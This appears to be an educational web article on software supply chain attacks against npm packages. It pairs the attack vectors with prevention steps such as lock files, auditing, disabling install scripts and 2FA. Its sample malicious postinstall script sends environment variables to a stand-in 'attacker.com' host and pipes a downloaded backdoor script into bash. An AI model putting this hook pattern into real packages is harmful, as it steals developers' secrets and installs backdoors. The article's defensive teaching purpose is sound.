Back to Learning Center
criticalOWASP A06:2021CWE-1357CWE-829

Supply Chain Attacks

Supply chain attacks target the dependencies and tools your application relies on rather than your code directly. By compromising widely-used packages on npm, PyPI, or other registries, attackers can inject malicious code into thousands of applications at once. Recent attacks like 'Shai-Hulud' compromised over 500 npm packages with billions of weekly downloads.

Attack Vectors

Typosquatting

Attackers publish packages with names similar to popular packages, hoping developers make typos:

bash
# Legitimate packages:
npm install lodash
npm install express
npm install axios

# Typosquatting attacks:
npm install lodahs      # Typo
npm install expresss    # Extra letter
npm install axois       # Swapped letters
npm install @exp/ress   # Scoped package confusion
npm install l0dash      # Number substitution

Dependency Confusion

When companies use internal packages, attackers publish public packages with the same names:

bash
# Company uses internal package: @company/analytics
# package.json: "@company/analytics": "1.0.0"

# Attacker publishes on npm:
npm publish analytics@99.0.0

# If package manager isn't configured properly,
# it might install the public 'analytics' instead of '@company/analytics'
# The higher version number can trick some configs

Maintainer Account Compromise

Attackers steal credentials from legitimate maintainers via phishing, credential stuffing, or token theft:

text
Attack Flow (Shai-Hulud Campaign):

1. Phishing email disguised as npm security alert
2. Developer clicks link, enters credentials on fake npm site
3. Attacker gains access to developer's npm account
4. Attacker publishes malicious version of legitimate package
5. Package executes on install (postinstall script)
6. Malware steals GitHub tokens from victim's machine
7. Uses tokens to compromise more repositories
8. Self-replicating: infects other packages the developer maintains

Malicious Postinstall Scripts

json
// Malicious package.json
{
  "name": "innocent-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}

// scripts/setup.js (obfuscated malware)
const { exec } = require('child_process');
const os = require('os');
const fs = require('fs');

// Steal environment variables
const env = JSON.stringify(process.env);
fetch('https://attacker.com/collect', { method: 'POST', body: env });

// Steal SSH keys
const sshDir = `${os.homedir()}/.ssh`;
if (fs.existsSync(sshDir)) {
  // Upload private keys
}

// Install backdoor
exec('curl https://attacker.com/backdoor.sh | bash');

Real-World Impact

text
Notable Supply Chain Attacks:

- Shai-Hulud (2025): 500+ npm packages, billions of downloads
  Self-replicating worm with "dead man's switch" data destruction

- event-stream (2018): 2M downloads/week
  Stole Bitcoin from Copay wallet users

- ua-parser-js (2021): 7M downloads/week
  Installed cryptominers and password stealers

- colors.js (2022): 20M downloads/week
  Maintainer protest caused infinite loops in apps

- node-ipc (2022): 1M downloads/week
  Delivered anti-war payload, deleted files on Russian IPs

Prevention Strategies

Lock Dependencies

bash
# Always commit lock files
git add package-lock.json  # npm
git add yarn.lock          # yarn
git add pnpm-lock.yaml     # pnpm

# Use exact versions in CI
npm ci  # Uses lock file exactly, fails if mismatch
# NOT: npm install (can update within semver range)

# Pin versions in package.json
{
  "dependencies": {
    "lodash": "4.17.21"  // Exact version, not "^4.17.21"
  }
}

Audit Dependencies

bash
# npm built-in auditing
npm audit
npm audit --production  # Only production deps
npm audit fix           # Auto-fix where possible

# Snyk (free for open source)
npx snyk test

# Socket.dev - Detects supply chain attacks
npx socket-security report

# OWASP Dependency-Check
dependency-check --project "MyApp" --scan .

Disable Postinstall Scripts

bash
# Disable all lifecycle scripts
npm config set ignore-scripts true

# Or per-install
npm install --ignore-scripts

# Then manually run only trusted scripts
npm rebuild  # If you need native bindings

# .npmrc configuration
ignore-scripts=true

Use Private Registry

bash
# .npmrc - Use private registry as proxy
registry=https://your-company.jfrog.io/artifactory/api/npm/npm/
@company:registry=https://your-company.jfrog.io/artifactory/api/npm/npm-local/

# Benefits:
# - Cache packages (survive registry outages)
# - Scan for vulnerabilities before allowing
# - Block typosquatting attempts
# - Audit what packages are actually used

Verify Package Integrity

json
// package-lock.json includes integrity hashes
{
  "packages": {
    "node_modules/lodash": {
      "version": "4.17.21",
      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
      "integrity": "sha512-v2kDE...=="  // SHA-512 hash
    }
  }
}

// npm ci verifies integrity automatically
// If hash doesn't match, install fails

Secure Your Own Packages

bash
# Enable 2FA on npm account
npm profile enable-2fa auth-and-writes

# Use fine-grained access tokens
# npm.com -> Access Tokens -> Generate New Token
# Scope: Read-only for CI, automation:granular for publishing

# Add trusted collaborators carefully
npm access grant read-write <team> <package>

# Enable package provenance (cryptographic proof of origin)
npm publish --provenance  # Requires GitHub Actions OIDC

Dependency Review in CI

yaml
# .github/workflows/dependency-review.yml
name: Dependency Review
on: [pull_request]

jobs:
  dependency-review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Dependency Review
        uses: actions/dependency-review-action@v4
        with:
          fail-on-severity: high
          deny-licenses: GPL-3.0, AGPL-3.0
          
      - name: Socket Security
        uses: SocketDev/socket-action@v1
        with:
          api-key: ${{ secrets.SOCKET_API_KEY }}

Security Checklist

  • Commit and verify lock files in all repositories
  • Use npm ci instead of npm install in CI/CD
  • Run npm audit in CI pipeline with fail on high severity
  • Disable postinstall scripts by default
  • Enable 2FA on all package registry accounts
  • Use scoped packages for internal dependencies
  • Review new dependencies before adding them
  • Monitor for dependency updates and security alerts

Practice Challenges

View all

Related Articles

View all